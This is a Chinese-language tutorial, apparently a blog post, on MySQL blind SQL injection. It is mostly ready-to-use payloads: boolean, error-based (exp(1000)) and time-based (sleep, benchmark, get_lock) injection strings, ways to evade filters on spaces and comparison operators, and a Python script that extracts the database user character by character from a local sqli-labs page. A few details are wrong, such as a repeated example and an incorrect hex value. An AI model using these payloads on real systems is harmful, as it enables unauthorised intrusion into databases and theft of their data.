mysql实战宝典：一文掌握mysql盲注

dumb' and 1=1#   ture and ture = ture  为真响应包返回长度1492dumb' and 1=2#     ture and false = fasle 为假响应包返回长度1446

' or 1=1#       true    为真响应包返回长度1492' or 1=2#                false     为假响应包返回长度1446

' and 1=1 or '1'='2                为真响应包返回长度1492' and 1=2 or '1'='2                为假响应包返回长度1446

# -*- coding:utf-8 -*-import requests# dic 保存的是mysql 标识符dic = '0123456789abcdefghigklmnopqrstuvwxyz_,'url = 'http://127.0.0.1/sqli/Less-1/?id=1''# 结果，初始化置空result = ''#循环1 i：是指依次取出字符，一共尝试取100个for i in range(1,100):    #循环2 j：是指依次比较 dic中保存的字符和数字    for j in dic:        payload = "and substr(user(),{0}, 1) = {1} --+ "         .format(str(i), ascii(j))        response = requests.get(url = url+payload,timeout = 5)        if 'You' in response.text:            result += j            print(result)print(result)

cot(0)exp(710)power(2,10000)(select+1+union+select+2)等等

substr(user(),1,1)            substring(user(),1,1)  mid(user(),1,1)    举例：以上三种方法存在bypaas的形式      bypass','的情况可以用 from start for end 的形式绕过             substr(user()+from+1+for+1)='r'      substr(user()+from+1+for+2)='ro'left(user(),1)right(user(),1)lpad(user(),1,1)rpad(user(),1,1)  mysql中rpad与lpad用法相同instr(user(),'r')=1      判断user()的第一位是否为'r'    举例：1'+and+if(instr(user(),'r')=1,1,exp(1000))=1+and+'a'='a   第一位为'r'          1'+and+if(instr(user(),'o')=2,1,exp(1000))=1+and+'a'='a        第二位为'o'select insert(insert((select database()),1,0,space(0)),2,222,space(0));    // sselect insert(insert((select database()),1,1,space(0)),2,222,space(0));    // eselect insert(insert((select database()),1,2,space(0)),2,222,space(0));    // cselect insert(insert((select database()),1,3,space(0)),2,222,space(0));    // uselect insert(insert((select database()),1,4,space(0)),2,222,space(0));    // rselect insert(insert((select database()),1,5,space(0)),2,222,space(0));    // iselect insert(insert((select database()),1,6,space(0)),2,222,space(0));    // tlocate('r',user())=1        判断user()的第一位是否为'r'  举例：1'+and+if(locate('r',user())=1,1,exp(1000))=1+and+'a'='a    第一位为'r'                1'+and+if(locate('o',user())=2,1,exp(1000))=1+and+'a'='a    第一位为'o'position('r'+in+user())=1        判断user()的第一位是否为'r'                        1'+and+if(POSITION('r'+in+user())=1,1,exp(1000))=1+and+'a'='a        第一位为'r'                1'+and+if(POSITION('o'+in+user())=2,1,exp(1000))=1+and+'a'='a        第一位为'o'

select * from users where id=1 and 1 and sleep(1);    执行sleep(1)延时1s 但查不到数据select * from users where id=1 and 0 and sleep(1);     不会执行sleep(1)select * from users where id=1 or 1 and sleep(1);        执行sleep(1)，根据表中条数来延时select * from users where id=1 or 0 and sleep(1);        不会执行sleep(1),返回id=1的值扩展(利用逻辑运算符的特性)select * from users where id=1 xor 1 and '';               查询表除id=1外所有的数据select * from users where id=1 xor 0 and '';                查询id=1的数据select * from users where id=1 ^ 1 ^ '';                         查询结果为空select * from users where id=1 ^ 0 ^ '';                         查询1d=1的数据在通过改变结果为1和0的语句进行判断例如：select * from users where id=1 xor substr(user(),1,1)='r' xor '';等等...

注入用法if(1=1,1,1/0)     1/0 返回值为nullif(1=1,1,exp(1000))            exp(1000) 令数据库查询报错实战#强制令数据库报错型：if(1=1,1,exp(1000))#1=1时，-----》逻辑上 2=2 为真，查询语句正常，返回正常的查询结果        1'+and+(if(1=1,2,exp(1000)))=2+and+'1'='1#1=2时，-----》逻辑上 exp(1000)=2 不成立且exp(1000)本身查询就报错，查询异常，抛出错误        1'+and+(if(1=2,2,exp(1000)))=2+and+'1'='1猜当前用户user()字段如果user()第一位字段为r，说明(lpad(user(),1,1)='r')为真(Ture)-->选择表达式1值也就是2-->2=2整个语句为真，返回正常查询的结果        1'+and+if(lpad(user(),1,1)='r',2,exp(1000))=2+and+'1'='1反之(lpad(user(),1,1)='a')为假-->选择表达式2的值也就是exp(1000)-->exp(1000)=2        1'+and+if(lpad(user(),1,1)='a',2,exp(1000))=2+and+'1'='1------------------------查询结果为空型:if(1=1,1,1/0)利用:建立在已知查询结果返回页面与查询结果为空的返回页面Content-Length不相等的情况下(字面意思就是)，如果Content-Length相等就可以使用上面那种强制令数据库报错型或者配上延时函数型，也可以尝试换成or连接(实战的时候少用or)，看是否能查到数据。

注入用法case+when+1=1+then+1+else+exp(1000)+end实战#强制令数据库报错型：case+when+1=1+then+1+else+exp(1000)+end#1=1时，-----》逻辑上 2=2 为真，查询语句正常，返回正常的查询结果        'and+(case+when+1=1+then+2+else+exp(1000)+end)=2+and+'1'='1#1=2时，-----》逻辑上 exp(1000)=2 不成立且exp(1000)本身查询就报错，查询异常，抛出错误        'and+(case+when+1=2+then+2+else+exp(1000)+end)=2+and+'1'='1猜当前用户user()字段如果user()第一位字段为r，说明(lpad(user(),1,1)='r')为真返回1(Ture)-->1=1-->2=2整个语句为真，返回正常查询的结果        'and+(case+when+(lpad(user(),1,1)='r')=1+then+2+else+exp(1000)+end)=2+and+'1'='1反之(lpad(user(),1,1)='a')为假返回0(False)-->exp(1000)=2        'and+(case+when+(lpad(user(),1,1)='a')=1+then+2+else+exp(1000)+end)=2+and+'1'='1------------------------查询结果为空型:case+when+1=1+then+1+else+1/0+end利用:建立在已知查询结果返回页面与查询结果为空的返回页面Content-Length不相等的情况下，相等就可以使用上面那种强制令数据库报错型或者配上延时函数型。总结：使用合适的条件语句+逻辑判断真假+令数据库报错的内置函数/返回值为null的函数-->形成payload比较Content-Length/返回包时间/数据库是否报错最终判断出注入以及注出数据

1'+and+nullif(1/(lpad(user(),1,1)='r'),exp(1000))=1+and+'a'='a   exp报错1'+and+nullif(1/(lpad(user(),1,1)='a'),exp(1000))=1+and+'a'='a     为假但不报错1'+and+nullif(1/(lpad(user(),1,1)='r'),sleep(2))=1+and+'a'='a         延时2s1'+and+nullif(1/(lpad(user(),1,1)='a'),sleep(2))=1+and+'a'='a         不延时

1'+and+ifnull(lpad(user(),1,1)='a',2)=1+and+'a'='a        0=11'+and+ifnull(lpad(user(),1,1)='r',2)=1+and+'a'='a        1=1由于select 1/0 返回值为null那么：1'+and+ifnull(1/(lpad(user(),1,1)='a'),exp(1000))=1+and+'a'='a        exp报错1'+and+ifnull(1/(lpad(user(),1,1)='r'),exp(1000))=1+and+'a'='a        为真1'+and+ifnull(1/(lpad(user(),1,1)='a'),sleep(2))=1+and+'a'='a            为假延时2s1'+and+ifnull(1/(lpad(user(),1,1)='r'),sleep(2))=1+and+'a'='a            为真不延时

select elt(1,22,33,44)    输出 22select elt(2,22,33,44)        输出 33select elt(2,22,33,44)        输出 44select elt(0,22,33,44)        输出nullselect elt(4,22,33,44)        输出null注入#substr(user(),1,1)='a'为0(false)--->elt(substr(user(),1,1)='a',1,2,3)为null-->null=1不成立1'+and+elt(substr(user(),1,1)='a',1,2,3)=1+and+'a'='a#substr(user(),1,1)='r'为1(ture)--->elt(substr(user(),1,1)='r',sleep(3),2,3)为1-->成功延时3s1'+and+elt(substr(user(),1,1)='r',sleep(3),2,3)=1+and+'a'='a

select field(1,1,2,3)   返回1select field(1,2,1,3)        返回2select field(1,2,3,1)        返回3select field(1,2,3,4)        返回0注入成功就不延时1'+and+field(substr(user(),1,1)='r',1,sleep(3))=1+and+'a'='a不成功就延时3s1'+and+field(substr(user(),1,1)='s',1,sleep(3))=1+and+'a'='a

1'+and+FIND_IN_SET(lpad(user(),1,1)='a',1)=1+and+'a'='a   0=11'+and+FIND_IN_SET(lpad(user(),1,1)='r',1)=1+and+'a'='a        1=11'+and+FIND_IN_SET(1=1,sleep(2))=1+and+'a'='a  延时2s1'+and+FIND_IN_SET(1=2,sleep(2))=1+and+'a'='a     延时4s

1将转为二进制,1的二进制为0000 0001,倒过来为1000 0000,所以取str1(a),打印aselect make_set("1","a","b","c");2将转为二进制,1的二进制为0000 0010,倒过来为0100 0000,所以取str2(b),打印bselect make_set("1","a","b","c");3将转为二进制,3的二进制为0000 0011,倒过来为1100 0000,所以取str1(a),str2(b),打印a,bselect make_set("3","a","b","c");4将转为二进制,4的二进制为0000 0100,倒过来为0010 0000,所以取str3(c),打印cselect make_set("3","a","b","c");注入：延时2s1'+and+make_set(substr(user(),1,1)='r',sleep(2))=1+and+'1'='1不延时1'+and+make_set(substr(user(),1,1)='a',sleep(2))=1+and+'1'='1

ORD()                            r的ascii编码是114    1'+and+if(ord(left(user(),1))=114,1,exp(1000))=1+and+'a'='aASCII()    1'+and+if(ascii(left(user(),1))=114,1,exp(1000))=1+and+'a'='a结果使用hex编码    r的16进制编码是72    1'+and+if(left(user(),1)=0x72,1,exp(1000))=1+and+'a'='a    1'+and+if(left(user(),1)=unhex(72),1,exp(1000))=1+and+'a'='a也可以直接嵌套hex()函数    1'+and+if(hex(left(user(),1))=72,1,exp(1000))=1+and+'a'='a使用conv()函数    select conv(27,10,36);的返回值为R    select lower(conv(27,10,36))的返回值为r    列举常用字符：conv(10,10,36)---conv(35,10,36)    等价于 A---Z    1'/**/and/**/lpad(user(),1,1)=lower(conv(27,10,36))/**/or/**/'1'='2ascii()    ascii(1)=49        ascii('a')=97

=><like (模糊查询)       举例：1'+and+if(user()+like+'root%25',1,2)=1+and+'a'='abetween    举例：(between 2 and 5)------------>在2到5之间，包含2和5        结果返回1(ture)和0(false)                r的16进制是74，通过两次判断可确定 user()的第一位为0x74，也就是r                1'+and+if(substr(user(),1,1)+between+0x73+and+0x74,1,exp(1000))=1+and+'a'='a                1'+and+if(substr(user(),1,1)+between+0x74+and+0x75,1,exp(1000))=1+and+'a'='aregexp 或 rlike  (正则匹配)      举例：1'+and+if(user()+regexp+'root',1,exp(1000))=1+and+'a'='a                1'+and+if(user()+regexp+0x72,1,exp(1000))=1+and+'a'='a                1'+and+if(user()+rlike+'root',1,exp(1000))=1+and+'a'='a                1'+and+if(user()+rlike+0x72,1,exp(1000))=1+and+'a'='a            ---------------------          正则注数据：                SELECT 1 FROM users WHERE substr(password,1,1) REGEXP '^[a-z]' AND id=1;    返回ture          SELECT 1 FROM users WHERE substr(password,1,1) REGEXP '^[a-c]' AND id=1;    返回false                SELECT 1 FROM users WHERE substr(password,1,1) REGEXP '^d' AND id=1;    返回ture 确定第一位为d                '/**/rilke/**/exp(1000)/**/<>/**/'                '/**/rlike/**/exp(1000)/**/and/**/'1'='1in    举例：in ('r')                1'+and+if(substr(user(),1,1)+in('r'),1,exp(1000))=1+and+'a'='a                          1'+and+if(substr(user(),1,1)+in(0x72),1,exp(1000))=1+and+'a'='a          1'+and+if(user()+in('root@localhost'),1,exp(1000))=1+and+'a'='a>>  (位运算符)  举例：          select (ascii((substr(user(),1,1))) >> 7)=0;  返回结果为1---->说明第一位为0          select (ascii((substr(user(),1,1))) >> 6)=0;    返回结果为0----->说明第二位为1---> 01          select (ascii((substr(user(),1,1))) >> 5)=2;    返回结果为0----->说明第三位为1--->011 (因为011是3)          依次类推最终结果为01110010                 select b'01110010';  返回的结果为rmod  取余函数    举例：1 mod 1 返回 0           1 mod 2 返回 1        '/**/mod/**/exp(1000)/**/mod/**/'div     整除函数    举例：1 div 1 返回 1           1 div 2 返回 0      '/**/div/**/exp(1000)/**/div/**/'字符串在逻辑上=0    举例   select if('ccc'=0,1,2)        返回1            select if('ccc'=1,1,2)  返回2<>    举例：          select 1 and 1<>1  返回0          sleect 1 and 1<>2     返回1          '/**/<>/**/exp(1000)/**/<>/**/'盲注时><符号被过滤，可以考虑使用greatest(a,b..) (返回其中的最大值)    greatest(ascii(substr(database(),0,1)),64)=64

逻辑运算符用来判断表达式的真假。如果表达式是真，结果返回 1。如果表达式是假，结果返回 0。and或&&     逻辑与                            ★mysql中  and!!!1=1可以绕过空格(个数为奇数，包括不限于!~&-等(fuzz))            小技巧举例：and!!!1=1为ture  and!!!!!1=1为falseor或||            逻辑或      实战中少用or，用不好就会查询所有表的数据从而造成ddos，但是有时候非用不可的情况下      例如延时注入的话最好是使用子查询的方法：      select * from users where id =-1 or if(1=1,(select sleep(5) from information_schema.schemata as b),1);        select * from users where id =-1 or if(1=1,(select 1 from (select(sleep(5)))test),1);      select * from users where id =-1 or if(1=1,(select 1 from (select(sleep(5))) as a),1);not或！逻辑非               select not 1 (false返回0)           select !0 (ture返回1)      select !null (返回null)xor                  逻辑异或运算符    select 1 xor 1      返回逻辑为0(false)     select 0 xor 0        返回0    select 1 xor 0      返回1逻辑为1(ture)    select 0 xor 1      返回1    select null xor 1 返回null^                      位异或运算符      select 1 ^ 1          0001 ^ 0001 --->0000     返回结果为0    select 0 ^ 0                0000 ^ 0000 --->0000         返回结果为0    select 1 ^ 0              0001 ^ 0000 --->0001         返回结果为1    select 2 ^ 1              0010 ^ 0001    --->0011     返回结果为3        select 5 ^ 3              0101 ^ 0011    --->0110     返回结果为6    select null ^ 1 返回null<>    select 1<>1  返回0    select 1<>2  返回1    select 1<>null  返回null    payload: '/**/<>/**/1#7like      select 1 like 1=1      select 1 like 1=2

1.select sleep(5);(select 1 from (select(sleep(5)))test);2.SELECT BENCHMARK(10000000, MD5('aaa'));    重复执行10000000次MD5('aaa')3.Heavy Query 笛卡尔积  (不推荐，当数据过多的时候会造成dos)(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.SCHEMATA C)4.Get_lock() 加锁机制(限制条件就是数据库的连接必须是持久连接)首先对username字段加锁select * from users where id = 1 and get_lock('username',1);之后再进行加锁，就不会成功，且会延时直接设定的加锁时长然后构造盲注payload(可在中间1和0出加入注数据的payload)select * from users where id = 1 and 1 and get_lock('username',5);select * from users where id = 1 and 0 and get_lock('username',5);注入结束后记得释放枷锁select * from users where id = 1 and 1 and RELEASE_LOCK('username');5.另外，利用 带外通道 发起网络请求，也有可能造成时延。不过 MySQL 的带外通道只能在 Windows 下利用 LOAD_FILE 完成。

#;%00-- +/**/   /*/**/                绕过空格/*!*/   /*!/*!*/   绕过空格

mysql select的特性与运算的优先级select 0=0             返回1select 0=''      返回1select 1=''             返回0select 1=0=0     返回1select 1=1=0         返回0select 1=1=''         返回0select 1=0=''         返回1所以：select * from users where username=1=0;   返回第一位不是1的所有值select * from users where username=1=1;        返回第一位是1的值            select * from users where username=1='';    返回第一位不是1的所有值select * from users where username=0=0;        返回第一位不是0(包括所有字符串)的所有值select * from users where username=0=1;        返回第一位是0(包括所有字符串)的所有值select * from users where username=0='';    返回第一位不是0(包括所有字符串)的所有值select * from users where username=''=0;    返回所有值select * from users where username=''=1;    返回空select * from users where username=''='';    返回所有值返回查询表中除了id=1的其他数据select * from users where id=1=0=0;  等价于  select * from users where id=1;返回id=1的数据select * from users where id=1=1=1;  等价于  select * from users where id=1;所以bypass就有很多种方法  可以加入xor/and/or/等等select * from users where id=1 xor 1 xor '';   等价于  select * from users where id<>1;select * from users where id=1 xor 0 xor '';     等价于  select * from users where id=1;

&：位与运算符，对两个整数的二进制位进行按位与操作，并返回整数结果。例如：SELECT 5 & 3; 返回结果为 1，因为二进制 101 & 011 结果为 001，转换为十进制即为 1。|：位或运算符，对两个整数的二进制位进行按位或操作，并返回整数结果。例如：SELECT 5 | 3; 返回结果为 7，因为二进制 101 | 011 结果为 111，转换为十进制即为 7。^：位异或运算符，对两个整数的二进制位进行按位异或操作，并返回整数结果。例如：SELECT 5 ^ 3; 返回结果为 6，因为二进制 101 ^ 011 结果为 110，转换为十进制即为 6。~：位非运算符，对一个整数的二进制位进行按位取反操作，并返回整数结果。例如：SELECT ~5; 返回结果为 -6，因为二进制 ~101 结果为 ...11111010，转换为十进制为2^64-6    即为 -6。<<：左移运算符，将一个整数的二进制位向左移动指定的位数，并返回整数结果。例如：SELECT 5 << 2; 返回结果为 20，因为二进制 101 向左移动两位为 10100，转换为十进制即为 20。>>：右移运算符，将一个整数的二进制位向右移动指定的位数，并返回整数结果。例如：SELECT 20 >> 2; 返回结果为 5，因为二进制 10100 向右移动两位为 101，转换为十进制即为 5。

当前⾯⼀个数字<后⾯⼀个数字的时候，就会触发溢出 如果>=就查询正常select ~0+1  报错select ~1+1  正常巧用布尔盲注    爆破113这个位置，如果正常说明第一位就是这个值id=1' and 1=~113+ascii(substring(current_user,1,1))#结合逻辑运算符和位运算符可以将and替换id=1' && 1=~113+ascii(substring(current_user,1,1))#id=1' <> 1=~113+ascii(substring(current_user,1,1))#...